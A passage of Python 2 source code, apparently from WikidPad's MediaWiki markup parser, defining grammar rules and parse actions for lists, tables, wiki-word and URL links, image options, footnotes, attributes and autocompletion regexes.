n = TerminalNode(u"", l, "htmlEquivalent")
bulletChar = newCombNorm[0]
startTag = {
u"*": u"ul",
u"#": u"ol",
u";": u"dt",
u":": u"dd",
u"!": u"dl",
}[bulletChar]
n.htmlContent = HtmlStartTag(startTag)
result.append(n)
newCombNorm = newCombNorm[1:]
if lastBulletChar in u"*#":
n = TerminalNode(u"", l, "htmlEquivalent")
n.htmlContent = HtmlEmptyTag("li")
result.append(n)
elif lastBulletChar == u":":
if startTag != u"dd":
# If the last bullet character ':' wasn't part of the common
# prefix it was processed as last character of newCombNorm
# and "dd" was set as startTag. In this case the "dd" shouldn't
# be closed and reopened
n = TerminalNode(u"", l, "htmlEquivalent")
n.htmlContent = HtmlEndTag(u"dd")
result.append(n)
n = TerminalNode(u"", l, "htmlEquivalent")
n.htmlContent = HtmlStartTag(u"dd")
result.append(n)
elif lastBulletChar == u";":
if startTag != u"dt":
# Same logic as above
n = TerminalNode(u"", l, "htmlEquivalent")
n.htmlContent = HtmlEndTag(u"dt")
result.append(n)
n = TerminalNode(u"", l, "htmlEquivalent")
n.htmlContent = HtmlStartTag(u"dt")
result.append(n)
return result
def actionBulletCombinationEnd(s, l, st, t):
prevCombNorm = st.dictStack.getNamedDict("bulletCombination")\
.get("prevBulletCombinationNorm", u"")
t[0].helperNode = True
result = [t[0]]
while prevCombNorm != u"":
n = TerminalNode(u"", l, "htmlEquivalent")
bulletChar = prevCombNorm[-1]
endTag = {
u"*": u"ul",
u"#": u"ol",
u";": u"dt",
u":": u"dd",
u"!": u"dl",
}[bulletChar]
n.htmlContent = HtmlEndTag(endTag)
result.append(n)
prevCombNorm = prevCombNorm[:-1]
return result
bulletCombinationStart = buildRegex(ur"^[\*#;:]+", "bulletCombinationStart")\
.setParseAction(actionBulletCombinationStartOrContinuation)
bulletCombinationContinuation = bulletCombinationStart\
.setResultsName("bulletCombinationContinuation")\
.setParseAction(actionBulletCombinationStartOrContinuation)
bulletCombinationStart = bulletCombinationStart
bulletCombinationEnd = buildRegex(ur"^(?![\*#:;])|(?!.)", "bulletCombinationEnd")\
.setParseAction(actionBulletCombinationEnd)
bulletCombination = bulletCombinationStart + content + bulletCombinationEnd
bulletCombination = bulletCombination.setResultsNameNoCopy("bulletCombination")\
.setParseAction(actionSetHelperNodeRecur)\
.setParseStartAction(createCheckNotIn(("bulletCombination",)))
def preActNewLinesParagraph(s, l, st, pe):
if st.dictStack.getSubTopDict().get("inPre", False):
raise ParseException(s, l, "Newlines aren't paragraph inside <pre> tag")
def preActNewLineWhitespace(s, l, st, pe):
if st.dictStack.getSubTopDict().get("inPre", False):
raise ParseException(s, l, "Newline isn't whitespace inside <pre> tag")
# Only an empty line
fakeIndentation = buildRegex(ur"^[ \t]+$")
newLine = buildRegex(ur"\n") + Optional(fakeIndentation)
newLinesParagraph = newLine + OneOrMore(newLine)
newLinesParagraph = newLinesParagraph.setResultsNameNoCopy("newParagraph")\
.setParseStartAction(preActNewLinesParagraph)
newLineWhitespace = newLine
newLineWhitespace = newLineWhitespace.setResultsName("whitespace")\
.setParseStartAction(preActNewLineWhitespace)
# -------------------- Table --------------------
# TODO: Support HTML attributes
def actionSetTableContentInCell(s, l, st, t):
contentNode = t.findFlatByName("tableContentInCell")
def actionTableCaption(s, l, st, t):
sn = TerminalNode(u"", l, "htmlEquivalent")
sn.htmlContent = HtmlStartTag(u"caption")
attNode = t.findFlatByName("tableCaptionHtmlAttributes")
if attNode is not None:
sn.htmlContent.addEscapedAttributes(attNode.htmlAttributes)
en = TerminalNode(u"", l, "htmlEquivalent")
en.htmlContent = HtmlEndTag(u"caption")
t.prepend(sn)
t.append(en)
def actionTableRow(s, l, st, t):
sn = TerminalNode(u"", l, "htmlEquivalent")
sn.htmlContent = HtmlStartTag(u"tr")
attNode = t.findFlatByName("tableRowHtmlAttributes")
if attNode is not None:
sn.htmlContent.addEscapedAttributes(attNode.htmlAttributes)
en = TerminalNode(u"", l, "htmlEquivalent")
en.htmlContent = HtmlEndTag(u"tr")
t.prepend(sn)
t.append(en)
def actionTableHeaderCell(s, l, st, t):
sn = TerminalNode(u"", l, "htmlEquivalent")
sn.htmlContent = HtmlStartTag(u"th")
attNode = t.findFlatByName("tableCellHtmlAttributes")
if attNode is not None:
sn.htmlContent.addEscapedAttributes(attNode.htmlAttributes)
en = TerminalNode(u"", l, "htmlEquivalent")
en.htmlContent = HtmlEndTag(u"th")
t.prepend(sn)
t.append(en)
def actionTableCell(s, l, st, t):
sn = TerminalNode(u"", l, "htmlEquivalent")
sn.htmlContent = HtmlStartTag(u"td")
attNode = t.findFlatByName("tableCellHtmlAttributes")
if attNode is not None:
sn.htmlContent.addEscapedAttributes(attNode.htmlAttributes)
en = TerminalNode(u"", l, "htmlEquivalent")
en.htmlContent = HtmlEndTag(u"td")
t.prepend(sn)
t.append(en)
def actionTableMediaWiki(s, l, st, t):
# TODO: Problem with folding
sn = TerminalNode(u"", l, "htmlEquivalent")
sn.htmlContent = HtmlStartTag(u"table")
attNode = t.findFlatByName("tableHtmlAttributes")
if attNode is not None:
sn.htmlContent.addEscapedAttributes(attNode.htmlAttributes)
en = TerminalNode(u"", l, "htmlEquivalent")
en.htmlContent = HtmlEndTag(u"table")
t.prepend(sn)
t.append(en)
def actionGenericHtmlAttributes(s, l, st, t):
htmlAttributes = []
for entry in t.iterFlatByName("htmlAttribute"):
key = entry.findFlatByName("htmlAttributeKey").getText()
value = entry.findFlatByName("htmlAttributeValue").getText()
htmlAttributes.append((key, value))
t.htmlAttributes = htmlAttributes
t.helperNode = True
t.helperRecursive = False
# The following HTML tokens are needed later
htmlAttributeValueQuoted = buildRegex(ur'"') + \
buildRegex(ur'[^"\n\t]*', "htmlAttributeValue") + \
buildRegex(ur'"')
htmlAttributeValueNotQuoted = buildRegex(ur'[^"\n\t ]+', "htmlAttributeValue")
htmlAttribute = whitespace + buildRegex(ur"[A-Za-z0-9]+", "htmlAttributeKey") + \
whitespace + buildRegex(ur"=") + whitespace + \
(htmlAttributeValueQuoted | htmlAttributeValueNotQuoted)
htmlAttribute = htmlAttribute.setResultsNameNoCopy("htmlAttribute")
tableAttributeStop = whitespace + buildRegex(ur"\|")
genericHtmlAttributes = OneOrMore(htmlAttribute)
genericHtmlAttributes = genericHtmlAttributes\
.setResultsNameNoCopy("genericHtmlAttributes")\
.setParseAction(actionGenericHtmlAttributes)
tableStart = buildRegex(ur"^[ \t]*\{\|") + whitespace + \
Optional(genericHtmlAttributes.setResultsName("tableHtmlAttributes")) + \
whitespaceOrNl
tableEnd = buildRegex(ur"^[ \t]*\|\}[ \t]*(?:\n|$)")
tableCaption = buildRegex(ur"^[ \t]*\|\+") + whitespace + \
Optional(genericHtmlAttributes.setResultsName("tableCaptionHtmlAttributes") +
tableAttributeStop) + whitespaceOrNl + tableContentInCell
tableCaption = tableCaption.setParseAction(actionTableCaption)
tableHeaderCell = buildRegex(ur"^[ \t]*!|!!") + whitespace + \
Optional(genericHtmlAttributes.setResultsName("tableCellHtmlAttributes") +
tableAttributeStop) + whitespaceOrNl + tableContentInCell
tableHeaderCell = tableHeaderCell.setParseAction(actionTableHeaderCell)\
.setParseAction(actionSetHelperNodeRecur).addParseAction(actionTableHeaderCell)
tableCell = buildRegex(ur"^[ \t]*\|(?![\}+\-])|\|\|") + whitespace + \
Optional(genericHtmlAttributes.setResultsName("tableCellHtmlAttributes") +
tableAttributeStop) + whitespaceOrNl + tableContentInCell
tableCell = tableCell.setResultsNameNoCopy("tableCell")\
.setParseAction(actionSetHelperNodeRecur).addParseAction(actionTableCell)
tableRow = buildRegex(ur"^[ \t]*\|-") + whitespace + \
Optional(genericHtmlAttributes.setResultsName("tableRowHtmlAttributes")) + \
whitespaceOrNl + OneOrMore(tableCell | tableHeaderCell)
tableRow = tableRow.setResultsNameNoCopy("tableRow")\
.setParseAction(actionSetHelperNodeRecur).addParseAction(actionTableRow)
tableFirstRow = Optional(buildRegex(ur"^[ \t]*\|-") + whitespace + \
Optional(genericHtmlAttributes.setResultsName("tableRowHtmlAttributes")) + \
whitespaceOrNl) + OneOrMore(tableCell | tableHeaderCell)
tableFirstRow = tableFirstRow.setResultsNameNoCopy("tableRow")\
.setParseAction(actionSetHelperNodeRecur).addParseAction(actionTableRow)
tableMediaWiki = tableStart + Optional(tableCaption) + \
tableFirstRow + ZeroOrMore(tableRow) + tableEnd
tableMediaWiki = tableMediaWiki.setResultsNameNoCopy("tableMediaWiki")\
.setParseAction(actionSetHelperNodeRecur).addParseAction(actionTableMediaWiki)
tableElementMediaWiki = buildRegex(ur"^[ \t]*[\|!]|\|\|")
# -------------------- Suppress highlighting and no export --------------------
# suppressHighlightingMultipleLines = buildRegex(ur"<<[ \t]*\n")\
# .setParseStartAction(preActCheckNothingLeft) + \
# buildRegex(ur".*?(?=^[ \t]*>>[ \t]*(?:\n|$))", "plainText") + \
# buildRegex(ur"^[ \t]*>>[ \t]*(?:\n|$)")
suppressHighlighting = buildRegex(ur"<nowiki>") + \
buildRegex(ur".*?(?=</nowiki>)", "plainText") + buildRegex(ur"</nowiki>")
# -------------------- No export area--------------------
def actionNoExport(s, l, st, t):
# Change name to reduce work when interpreting
t.name = "noExport"
noExportSingleLineEnd = buildRegex(ur"</hide>")
noExportSingleLine = buildRegex(ur"<hide>") + content + noExportSingleLineEnd
noExportSingleLine = noExportSingleLine.setResultsNameNoCopy("noExportSl")\
.setParseStartAction(createCheckNotIn(("noExportSl",)))\
.setParseAction(actionNoExport)
# -------------------- <body> html tag --------------------
def actionBodyHtmlTag(s, l, st, t):
t.content = t.findFlatByName("bodyHtmlText").getString()
bodyHtmlStart = buildRegex(ur"<body(?: [^\n>]*)?>", "htmlTag")
bodyHtmlEnd = buildRegex(ur"</body>", "htmlTag")
bodyHtmlText = buildRegex(ur".*?(?=" + bodyHtmlEnd.getPattern() + ")",
"bodyHtmlText")
bodyHtmlTag = bodyHtmlStart + bodyHtmlText + bodyHtmlEnd
bodyHtmlTag = bodyHtmlTag.setResultsNameNoCopy("bodyHtmlTag")\
.setParseAction(actionBodyHtmlTag)
# -------------------- Wikiwords and URLs --------------------
BracketStart = u"[["
BracketStartPAT = ur"\[\["
BracketEnd = u"]]"
BracketEndPAT = ur"\]\]"
# WikiWordNccPAT = ur"/?(?:/?[^\\/\[\]\|\000-\037=:;#!]+)+" # ur"[\w\-\_ \t]+"
# Single part of subpage path
WikiWordPathPartPAT = ur"(?!\.\.)[^\\/\[\]\|\000-\037=:;#!]+"
WikiPageNamePAT = WikiWordPathPartPAT + "(?:/" + WikiWordPathPartPAT + ")*"
# Begins with dotted path parts which mean to go upward in subpage path
WikiWordDottedPathPAT = ur"\.\.(?:/\.\.)*(?:/" + WikiWordPathPartPAT + ")*"
WikiWordNonDottedPathPAT = ur"/{0,2}" + WikiPageNamePAT
WikiWordNccPAT = WikiWordDottedPathPAT + ur"|" + WikiWordNonDottedPathPAT
WikiWordTitleStartPAT = ur"\|"
WikiWordAnchorStart = u"!"
WikiWordAnchorStartPAT = ur"!"
# Bracket start, escaped for reverse RE pattern (for autocompletion)
BracketStartRevPAT = ur"\[\["
# Bracket end, escaped for reverse RE pattern (for autocompletion)
BracketEndRevPAT = ur"\]\]"
WikiWordNccRevPAT = ur"[^\\\[\]\|\000-\037=:;#!]+?" # ur"[\w\-\_ \t.]+?"
UrlPAT = ur'(?:(?:https?|ftp|rel|wikirel)://|mailto:|Outlook:\S|wiki:/|file:/)'\
ur'(?:(?![.,;:!?)]+(?:["\s]|$))[^"\s|\]<>])*'
# UrlInBracketsPAT = ur'(?:(?:https?|ftp|rel|wikirel)://|mailto:|Outlook:\S|wiki:/|file:/)'\
# ur'(?:(?![ \t]+[|\]])(?: |[^"\s|\]<>]))*'
bracketStart = buildRegex(BracketStartPAT)
bracketEnd = buildRegex(BracketEndPAT)
UnescapeExternalFragmentRE = re.compile(ur"#(.)",
re.DOTALL | re.UNICODE | re.MULTILINE)
def reThrough(matchobj):
return matchobj.group(1)
def actionSearchFragmentExtern(s, l, st, t):
"""
Called to unescape external fragment of wikiword.
"""
lt2 = getFirstTerminalNode(t)
if lt2 is None:
return None
lt2.unescaped = UnescapeExternalFragmentRE.sub(ur"\1", lt2.text)
UnescapeStandardRE = re.compile(EscapePlainCharPAT + ur"(.)",
re.DOTALL | re.UNICODE | re.MULTILINE)
def actionSearchFragmentIntern(s, l, st, t):
lt2 = getFirstTerminalNode(t)
if lt2 is None:
return None
lt2.unescaped = UnescapeStandardRE.sub(ur"\1", lt2.text)
def resolveWikiWordLink(link, basePage):
"""
If using subpages this is used to resolve a link to the right wiki word
relative to basePage on which the link is placed.
It returns the absolute link (page name).
"""
return _TheHelper.resolvePrefixSilenceAndWikiWordLink(link, basePage)[2]
def actionWikiWordNcc(s, l, st, t):
t.wikiWord = t.findFlatByName("word")
wikiFormatDetails = st.dictStack["wikiFormatDetails"]
if t.wikiWord is not None:
t.wikiWord = resolveWikiWordLink(t.wikiWord.getString(),
wikiFormatDetails.basePage)
else:
t.wikiWord = resolveWikiWordLink(u".", wikiFormatDetails.basePage)
if t.wikiWord == u"":
raise ParseException(s, l, "Subpage resolution of wikiword failed")
if t.wikiWord in wikiFormatDetails.wikiDocument.getNccWordBlacklist():
raise ParseException(s, l, "Non-CamelCase word is in blacklist")
t.titleNode = t.findFlatByName("title")
titleTrailNode = t.findFlatByName("titleTrail")
if (titleTrailNode is not None):
if t.titleNode is None:
t.titleNode = NonTerminalNode([
TerminalNode(t.wikiWord, l, "plainText")], l, "title")
t.titleNode.append(buildSyntaxNode(
titleTrailNode.getString(), titleTrailNode.pos, "plainText"))
titleTrailNode.name = None
t.fragmentNode = t.findFlatByName("searchFragment")
if t.fragmentNode is not None:
t.searchFragment = t.fragmentNode.unescaped
else:
t.searchFragment = None
t.anchorLink = t.findFlatByName("anchorLink")
if t.anchorLink is not None:
t.anchorLink = t.anchorLink.getString()
def preActCheckWikiWordCcAllowed(s, l, st, pe):
try:
wikiFormatDetails = st.dictStack["wikiFormatDetails"]
if not wikiFormatDetails.withCamelCase:
raise ParseException(s, l, "CamelCase words not allowed here")
except KeyError:
pass
def actionWikiWordCc(s, l, st, t):
t.wikiWord = t.findFlatByName("word")
if t.wikiWord is not None:
wikiFormatDetails = st.dictStack["wikiFormatDetails"]
t.wikiWord = resolveWikiWordLink(t.wikiWord.getString(),
wikiFormatDetails.basePage)
if t.wikiWord == u"":
raise ParseException(s, l, "Subpage resolution of wikiword failed")
try:
# wikiFormatDetails = st.dictStack["wikiFormatDetails"]
if t.wikiWord in wikiFormatDetails.wikiDocument.getCcWordBlacklist():
raise ParseException(s, l, "CamelCase word is in blacklist")
except KeyError:
pass
t.titleNode = None
t.fragmentNode = t.findFlatByName("searchFragment")
if t.fragmentNode is not None:
t.searchFragment = t.fragmentNode.unescaped
else:
t.searchFragment = None
t.anchorLink = t.findFlatByName("anchorLink")
if t.anchorLink is not None:
t.anchorLink = t.anchorLink.getString()
def parseGlobalAppendixEntries(s, l, st, t, ignore=()):
"""
Handles the global appendix attributes that can be set for any
item that supports appendices
"""
t.cssClass = None
t.text_align = None
for key, data in t.entries:
# Skip keys that have been redefined in the calling appendix
if key in ignore:
continue
# CSS classes are designated by "s" or "class". They will result in the
# css class(es) being applied to the element. Multiple classes can be
# separated by comma (,)
# E. g. "s=foo" uses class "foo". The '=' can be omitted for the
# short form "s", therefore "sfoo" does the same. The same is also:
# "class=foo", "s:foo" and "class:foo".
# The longer form is recommended, the short "s" e.g. does not work
# in appendices for image URLs due to a name clash
if key == u"s" or key == u"class":
t.cssClass = data.replace(u",", u" ")
elif key == u"A" or key == u"align":
if data in (u"l", u"c", u"r", u"left", u"center", u"right"):
t.text_align = data
return s, l, st, t
def actionExtractableWikiWord(s, l, st, t):
t.wikiWord = t.findFlatByName("word")
if t.wikiWord is not None:
t.wikiWord = t.wikiWord.getString()
def actionUrlLink(s, l, st, t):
if t.name == "urlLinkBare":
t.bracketed = False
else:
t.bracketed = True
t.name = "urlLink"
t.appendixNode = t.findFlatByName("urlModeAppendix")
# In MediaWiki, image links have another syntax. Therefore create appendix
# to declare link as real link
t.appendixNode = addCreateModeAppendixEntry(l, t.appendixNode, u"l", u"")
t.coreNode = t.findFlatByName("url")
# Valid URL but may differ from original input (does not for MediaWiki,
# spaces aren't allowed)
t.url = t.coreNode.getString()
t.titleNode = t.findFlatByName("title")
def actionAnchorDef(s, l, st, t):
t.anchorLink = t.findFlatByName("anchor").getString()
def actionUrlModeAppendix(s, l, st, t):
s, l, st, t = parseGlobalAppendixEntries(s, l, st, t, ignore=(u"s",))
# t.border = None
#
# for key, data in t.entries:
# if key == u"b":
# if data.endswith(u"px"):
# t.border = data
# else:
# t.border = "{0}px".format(data)
# _IMAGE_OPTION_KEYWORD_TO_APPENDIX = {
def actionImageUrl(s, l, st, t):
# Process options for the URL. Currently only a few options are really handled
# TODO: Process more
t.name = "urlLink"
t.appendixNode = t.findFlatByName("urlModeAppendix")
t.coreNode = t.findFlatByName("url")
t.url = t.coreNode.getString()
t.titleNode = t.findFlatByName("title")
modeAppendixEntries = []
cssClasses = []
for node in t.iterFlatByName("imageUrlOption"):
subNode = node.findFlatByName("keyword")
if subNode is not None:
key = subNode.getString()
if key in (u"left", u"center", u"right", u"top", u"middle", u"bottom"):
modeAppendixEntries.append((u"align", key))
elif key == u"upright":
modeAppendixEntries.append((u"upright", u"1"))
continue
subNode = node.findFlatByName("key")
if subNode is not None:
key = subNode.getString()
value = node.findFlatByName("value").getString()
if key == "class":
cssClasses.append(value)
continue
subNode = node.findFlatByName("pixelsize")
if subNode is not None:
psStr = subNode.getString().replace(u"px", u"")
modeAppendixEntries.append((u"r", psStr))
# Pixel size options are currently not processed
# Tell exporter that this is an image url
modeAppendixEntries.append((u"i", u""))
t.appendixNode = addCreateModeAppendixEntries(l, t.appendixNode,
modeAppendixEntries)
if len(cssClasses) > 0:
t.cssClass = u" ".join(cssClasses)
searchFragmentExtern = buildRegex(ur"#") + \
buildRegex(ur"(?:(?:#.)|[^ \t\n#])+", "searchFragment")\
.setParseAction(actionSearchFragmentExtern)
searchFragmentIntern = buildRegex(ur"#") + buildRegex(ur"(?:(?:" + EscapePlainCharPAT +
ur".)|(?!" + WikiWordTitleStartPAT +
ur"|" + BracketEndPAT + ur").)+", "searchFragment")\
.setParseAction(actionSearchFragmentIntern)
wikiWordAnchorLink = buildRegex(WikiWordAnchorStartPAT) + \
buildRegex(ur"[A-Za-z0-9\_]+", "anchorLink")
title = buildRegex(WikiWordTitleStartPAT + ur"[ \t]*") + titleContent # content.setResultsName("title")
wikiWordNccCore = buildRegex(WikiWordNccPAT, "word")
wikiWordNccWithWord = bracketStart + \
wikiWordNccCore.copy().addParseAction(actionCutRightWhitespace) + \
Optional(MatchFirst([searchFragmentIntern, wikiWordAnchorLink])) + whitespace + \
Optional(title) + bracketEnd + Optional(buildRegex(ur"\w+", "titleTrail"))
wikiWordNccSearchInPage = bracketStart + \
searchFragmentIntern + whitespace + \
Optional(title) + bracketEnd + Optional(buildRegex(ur"\w+", "titleTrail"))
wikiWordNcc = wikiWordNccWithWord | wikiWordNccSearchInPage
wikiWordNcc = wikiWordNcc.setResultsNameNoCopy("wikiWord").setName("wikiWordNcc")\
.setParseAction(actionWikiWordNcc)
anchorDef = buildRegex(ur"^[ \t]*anchor:[ \t]*") + buildRegex(ur"[A-Za-z0-9\_]+",
"anchor") + buildRegex(ur"\n")
anchorDef = anchorDef.setResultsNameNoCopy("anchorDef").setParseAction(actionAnchorDef)
AnchorRE = re.compile(ur"^[ \t]*anchor:[ \t]*(?P<anchorValue>[A-Za-z0-9\_]+)\n",
re.DOTALL | re.UNICODE | re.MULTILINE)
urlModeAppendix = modeAppendix.setResultsName("urlModeAppendix").addParseAction(
actionUrlModeAppendix)
urlWithAppend = buildRegex(UrlPAT, "url") + Optional(buildRegex(ur">") + \
urlModeAppendix)
urlWithAppendInBrackets = buildRegex(UrlPAT, "url") + Optional(buildRegex(ur">") + \
urlModeAppendix)
urlBare = urlWithAppend.setResultsName("urlLinkBare")
urlBare = urlBare.setParseAction(actionUrlLink)
urlBracketEnd = buildRegex(ur"\]")
urlTitled = buildRegex(ur"\[") + urlWithAppendInBrackets + \
Optional(buildRegex(ur" ") + whitespace + titleContent) + whitespace + \
urlBracketEnd
urlTitled = urlTitled.setResultsNameNoCopy("urlLinkBracketed").setParseAction(actionUrlLink)
urlRef = urlTitled | urlBare
# Correct but unsupported "pixelsize" syntax:
# buildRegex(ur"x?[0-9]+px|[0-9]+x[0-9]+px", "pixelsize") |
imageUrlOption = buildRegex(ur"\|") + ( buildRegex(ur"border|frameless|frame|upright|thumb|"
ur"left|right|center|none|baseline|sub|super|top|text-top|middle|bottom|text-bottom", "keyword") |
buildRegex(ur"[0-9]+px(?:x[0-9]+px)?", "pixelsize") |
( buildRegex(ur"thumb|link|alt|page|class", "key") + buildRegex(ur"=") +
buildRegex(ur"[^\n\t\]|]*", "value") )
)
imageUrlOption = imageUrlOption.setResultsNameNoCopy("imageUrlOption")
imageUrl = bracketStart + urlWithAppendInBrackets + whitespace + \
ZeroOrMore(imageUrlOption) + Optional(title) + bracketEnd
imageUrl = imageUrl.setResultsNameNoCopy("imageUrl").setParseAction(actionImageUrl)
wikiWord = wikiWordNcc
# Needed for _TheHelper.extractWikiWordFromLink()
extractableWikiWord = (wikiWordNccCore | wikiWordNcc) + stringEnd
extractableWikiWord = extractableWikiWord.setResultsNameNoCopy("extractableWikiWord")\
.setParseAction(actionExtractableWikiWord).optimize(("regexcombine",))\
.parseWithTabs()
wikiPageNameRE = re.compile(ur"^" + WikiPageNamePAT + ur"$",
re.DOTALL | re.UNICODE | re.MULTILINE)
wikiLinkCoreRE = re.compile(ur"^" + WikiWordNccPAT + ur"$",
re.DOTALL | re.UNICODE | re.MULTILINE)
# -------------------- Footnotes --------------------
# TODO: Emulate MediaWiki cite extension
footnotePAT = ur"[0-9]+"
def preActCheckFootnotesAllowed(s, l, st, pe):
wikiFormatDetails = st.dictStack["wikiFormatDetails"]
if wikiFormatDetails.wikiLanguageDetails.footnotesAsWws:
raise ParseException(s, l, "CamelCase words not allowed here")
def actionFootnote(s, l, st, t):
t.footnoteId = t.findFlatByName("footnoteId").getString()
footnote = bracketStart + buildRegex(footnotePAT, "footnoteId") + bracketEnd
footnote = footnote.setResultsNameNoCopy("footnote")\
.setParseStartAction(preActCheckFootnotesAllowed)\
.setParseAction(actionFootnote)
footnoteRE = re.compile(ur"^" + footnotePAT + ur"$",
re.DOTALL | re.UNICODE | re.MULTILINE)
# -------------------- Attributes (=properties) and insertions --------------------
# Unmodified because not supported by MediaWiki but needed by WikidPad
def actionAttrInsValueQuoteStart(s, l, st, t):
st.dictStack.getSubTopDict()["attrInsValueQuote"] = t[0].text
def actionAttrInsValueQuoteEnd(s, l, st, t):
if t[0].text != st.dictStack.getSubTopDict().get("attrInsValueQuote"):
raise ParseException(s, l, "End quote of attribute/insertion does not match start")
def pseudoActionAttrInsQuotedValue(s, l, st, t):
if t.strLength == 0:
return []
t.name = "value"
return t
def actionAttribute(s, l, st, t):
key = t.findFlatByName("key").getString()
t.key = key
t.keyComponents = t.key.split(u".")
t.attrs = [(key, vNode.getString()) for vNode in t.iterFlatByName("value")]
def actionInsertion(s, l, st, t):
t.key = t.findFlatByName("key").getString()
t.keyComponents = t.key.split(u".")
values = list(vNode.getString() for vNode in t.iterFlatByName("value"))
t.value = values[0]
del values[0]
t.appendices = values
attrInsQuote = buildRegex(ur"\"+|'+|/+|\\+")
attrInsQuoteStart = attrInsQuote.copy()\
.setParseAction(actionAttrInsValueQuoteStart)
attrInsQuoteEnd = attrInsQuote.copy()\
.setParseAction(actionAttrInsValueQuoteEnd)
attrInsQuotedValue = FindFirst([], attrInsQuoteEnd)\
.setPseudoParseAction(pseudoActionAttrInsQuotedValue)
# attrInsNonQuotedValue = buildRegex(ur"[\w\-\_ \t:,.!?#%|/]*", "value")
attrInsNonQuotedValue = buildRegex(ur"(?:[ \t]*[\w\-\_=:,.!?#%|/]+)*", "value")
attrInsValue = whitespace + ((attrInsQuoteStart + attrInsQuotedValue + \
attrInsQuoteEnd) | attrInsNonQuotedValue)
attrInsKey = buildRegex(ur"[\w\-\_\.]+", "key")
attribute = bracketStart + whitespace + attrInsKey + \
buildRegex(ur"[ \t]*[=:]") + attrInsValue + \
ZeroOrMore(buildRegex(ur";") + attrInsValue) + whitespace + bracketEnd
attribute = attribute.setResultsNameNoCopy("attribute").setParseAction(actionAttribute)
insertion = bracketStart + buildRegex(ur":") + whitespace + attrInsKey + \
buildRegex(ur"[ \t]*[=:]") + attrInsValue + \
ZeroOrMore(buildRegex(ur";") + attrInsValue) + whitespace + bracketEnd
insertion = insertion.setResultsNameNoCopy("insertion").setParseAction(actionInsertion)
# -------------------- Additional regexes to provide --------------------
# Needed for auto-bullet/auto-unbullet functionality of editor
BulletRE = re.compile(ur"^(?P<indentBullet>[ \t]*)"
ur"(?P<preLastBullet>[\*#;: \t]*)"
ur"(?P<lastBullet>[\*#;:])(?P<lastBulletWhite>[ \t]*)",
re.DOTALL | re.UNICODE | re.MULTILINE)
# Needed for handleRewrapText
EmptyLineRE = re.compile(ur"^[ \t\r\n]*$",
re.DOTALL | re.UNICODE | re.MULTILINE)
# Reverse REs for autocompletion
RevWikiWordRE2 = re.compile(ur"^" + WikiWordNccRevPAT + BracketStartRevPAT,
re.DOTALL | re.UNICODE | re.MULTILINE) # Needed for auto-completion
RevAttributeValue = re.compile(
ur"^([\w\-\_ \t:;,.!?#/|]*?)([ \t]*[=:][ \t]*)([\w\-\_ \t\.]+?)" +
BracketStartRevPAT,
re.DOTALL | re.UNICODE | re.MULTILINE) # Needed for auto-completion
RevTodoKeyRE = re.compile(ur"^(?:[^:\s]{0,40}\.)??"
ur"(?:odot|enod|tiaw|noitca|kcart|eussi|noitseuq|tcejorp)",
re.DOTALL | re.UNICODE | re.MULTILINE) # Needed for auto-completion
RevTodoValueRE = re.compile(ur"^[^\n:]{0,30}:" + RevTodoKeyRE.pattern[1:],
re.DOTALL | re.UNICODE | re.MULTILINE) # Needed for auto-completion
RevWikiWordAnchorRE2 = re.compile(ur"^(?P<anchorBegin>[A-Za-z0-9\_]{0,20})" +
WikiWordAnchorStartPAT + BracketEndRevPAT + ur"(?P<wikiWord>" +
WikiWordNccRevPAT + ur")" + BracketStartRevPAT,
re.DOTALL | re.UNICODE | re.MULTILINE) # Needed for auto-completion
# Simple todo RE for autocompletion.
ToDoREWithCapturing = re.compile(ur"^([^:\s]+):[ \t]*(.+?)$",
re.DOTALL | re.UNICODE | re.MULTILINE)
# For auto-link mode relax
AutoLinkRelaxSplitRE = re.compile(r"[\W]+", re.IGNORECASE | re.UNICODE)
AutoLinkRelaxJoinPAT = ur"[\W]+"
AutoLinkRelaxJoinFlags = re.IGNORECASE | re.UNICODE
# For spell checking
TextWordRE = re.compile(ur"(?P<negative>[0-9]+|"+ UrlPAT + u")|\b[\w']+",
re.DOTALL | re.UNICODE | re.MULTILINE)
# -------------------- End tokens --------------------
TOKEN_TO_END = {
"bold": boldEnd,
"italics": italicsEnd,
"wikiWord": bracketEnd,
"urlLinkBracketed": urlBracketEnd,
"imageUrl": bracketEnd,
"tableMediaWiki": tableEnd,
"bulletCombination": bulletCombinationEnd,
"preHtmlTag": preHtmlEnd,
"preBySpace": preBySpaceEnd,
"heading": headingEnd,
"todoEntry": todoEnd,
"noExportSl": noExportSingleLineEnd
}
def chooseEndToken(s, l, st, pe):
"""
"""
for tokName in reversed(st.nameStack):
end = TOKEN_TO_END.get(tokName)
if end is not None:
return end
return stringEnd
endToken = Choice([stringEnd]+TOKEN_TO_END.values(), chooseEndToken)
endTokenInTable = endToken | tableElementMediaWiki
endTokenInTitle = endToken | buildRegex(ur"\n")
endTokenInCharacterAttribution = endToken | heading
# -------------------- Content definitions --------------------
findMarkupInCell = FindFirst([bold, italics, noExportSingleLine,
suppressHighlighting,
urlRef, imageUrl, insertion, escapedChar, nowikiStandalone, footnote, wikiWord,
newLinesParagraph, newLineWhitespace,
bodyHtmlTag, htmlTag, htmlEntity, htmlComment, bulletCombination,
bulletCombinationContinuation], endTokenInTable)
findMarkupInCell = findMarkupInCell.setPseudoParseAction(pseudoActionFindMarkup)
temp = ZeroOrMore(NotAny(endTokenInTable) + findMarkupInCell)
temp = temp.leaveWhitespace().parseWithTabs()
tableContentInCell << temp
findMarkupInTitle = FindFirst([bold, italics, noExportSingleLine,
suppressHighlighting,
urlRef, imageUrl, insertion, escapedChar, nowikiStandalone, footnote, bodyHtmlTag, htmlTag,
htmlEntity, htmlComment],
endTokenInTitle)
findMarkupInTitle = findMarkupInTitle.setPseudoParseAction(pseudoActionFindMarkup)
temp = ZeroOrMore(NotAny(endTokenInTitle) + findMarkupInTitle)
temp = temp.leaveWhitespace().parseWithTabs()
titleContent << temp
findMarkupInHeading = FindFirst([bold, italics, noExportSingleLine,
suppressHighlighting,
urlRef, imageUrl, insertion, escapedChar, nowikiStandalone, footnote, wikiWord, bodyHtmlTag,
htmlTag, htmlEntity, htmlComment], endToken | buildRegex(ur"\n"))
findMarkupInHeading = findMarkupInHeading.setPseudoParseAction(
pseudoActionFindMarkup)
temp = ZeroOrMore(NotAny(endToken | buildRegex(ur"\n")) + findMarkupInHeading)
temp = temp.leaveWhitespace().parseWithTabs()
headingContent << temp
findMarkupInTodo = FindFirst([bold, italics, noExportSingleLine,
suppressHighlighting,
urlRef, imageUrl, attribute, insertion, escapedChar, nowikiStandalone, footnote, wikiWord,
bodyHtmlTag, htmlTag, htmlEntity, htmlComment], endToken)
findMarkupInTodo = findMarkupInTodo.setPseudoParseAction(
